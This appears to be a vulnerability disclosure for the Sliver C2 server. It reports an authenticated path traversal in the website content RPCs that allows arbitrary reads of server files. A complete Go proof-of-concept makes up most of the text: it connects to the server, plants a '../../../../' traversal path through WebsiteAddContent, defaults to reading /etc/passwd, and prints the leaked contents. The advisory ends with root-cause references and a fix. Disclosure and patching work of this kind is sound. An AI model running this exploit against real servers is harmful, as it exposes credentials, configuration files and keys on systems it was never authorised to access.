A Path Traversal vulnerability in the website content subsystem lets an authenticated operator read arbitrary files on the Sliver server host. This is an authenticated Path Traversal / arbitrary file read issue, and it can expose credentials, configs, and keys.
The server accepts and persists arbitrary website paths from the operator, then later reads from disk using that path without sanitization or containment.
package main
import (
"context"
"flag"
"fmt"
"os"
"path/filepath"
"runtime"
"strings"
"time"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/transport"
"github.com/bishopfox/sliver/protobuf/clientpb"
)
func main() {
var (
configPath string
websiteName string
targetPath string
webPath string
maxBytes int
)
flag.StringVar(&configPath, "config", "", "path to sliver client config (.cfg)")
flag.StringVar(&websiteName, "website", "poc-site", "website name to use/create")
flag.StringVar(&targetPath, "target", "", "absolute server file path to read")
flag.StringVar(&webPath, "web-path", "", "override web path (defaults to traversal into target)")
flag.IntVar(&maxBytes, "max-bytes", 1024, "max bytes of leaked content to print")
flag.Parse()
if targetPath == "" {
if runtime.GOOS == "windows" {
targetPath = `C:\\Windows\\System32\\drivers\\etc\\hosts`
} else {
targetPath = "/etc/passwd"
}
}
if webPath == "" {
trimmed := strings.TrimPrefix(targetPath, string(filepath.Separator))
webPath = "../../../../../../../../" + trimmed
}
config, err := loadConfig(configPath)
if err != nil {
fatalf("config error: %v", err)
}
rpc, conn, err := transport.MTLSConnect(config)
if err != nil {
fatalf("connect error: %v", err)
}
defer conn.Close()
ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
defer cancel()
_, err = rpc.WebsiteAddContent(ctx, &clientpb.WebsiteAddContent{
Name: websiteName,
Contents: map[string]*clientpb.WebContent{
webPath: {
Path: webPath,
ContentType: "text/plain",
Content: []byte("poc"),
},
},
})
if err != nil {
fatalf("WebsiteAddContent failed: %v", err)
}
resp, err := rpc.Website(ctx, &clientpb.Website{Name: websiteName})
if err != nil {
fatalf("Website failed: %v", err)
}
var leaked *clientpb.WebContent
for _, c := range resp.Contents {
if c.Path == webPath {
leaked = c
break
}
}
if leaked == nil {
fatalf("did not find content for path %q", webPath)
}
data := leaked.Content
if len(data) > maxBytes {
data = data[:maxBytes]
}
fmt.Printf("[+] target: %s\n", targetPath)
fmt.Printf("[+] web-path: %s\n", webPath)
fmt.Printf("[+] leaked bytes: %d\n", len(leaked.Content))
fmt.Printf("[+] preview:\n%s\n", string(data))
}
func loadConfig(path string) (*assets.ClientConfig, error) {
if path != "" {
return assets.ReadConfig(path)
}
configs := assets.GetConfigs()
if len(configs) == 0 {
return nil, fmt.Errorf("no configs found; use -config")
}
if len(configs) > 1 {
return nil, fmt.Errorf("multiple configs found; use -config")
}
for _, c := range configs {
return c, nil
}
return nil, fmt.Errorf("unexpected config error")
}
func fatalf(format string, args ...any) {
fmt.Fprintf(os.Stderr, format+"\n", args...)
os.Exit(1)
}
Summary
A Path Traversal vulnerability in the website content subsystem lets an authenticated operator read arbitrary files on the Sliver server host. This is an authenticated Path Traversal / arbitrary file read issue, and it can expose credentials, configs, and keys.
Affected Component
WebsiteAddContent,Website,WebsitesWebsite.ToProtobufImpact
Root Cause
The server accepts and persists arbitrary website paths from the operator, then later reads from disk using that path without sanitization or containment.
Vulnerable Code References
server/rpc/rpc-website.go:100— acceptscontent.Pathfrom operator RPC and persists it viawebsite.AddContentserver/db/models/website.go:52— reads from disk withfilepath.Join(webContentDir, webcontent.Path)without validating or constrainingwebcontent.PathProof of Concept (PoC)
Steps (local test)
allfor website operations):PoC Code
Expected Output (example)
Evidence (Screenshots)
Why It Works
WebsiteAddContentaccepts a path like../../../../etc/hostsand stores it.Websitereturns content by callingWebsite.ToProtobuf, which reads from disk using the storedPathvalue.filepath.Joindoes not prevent traversal, so the server reads from outside the web directory.Recommended Fix
..inWebsiteAddContent(server side).PathinWebsite.ToProtobuf; read by content ID instead.Notes
PermissionAll)./etc/hostsbut can target any readable server file.References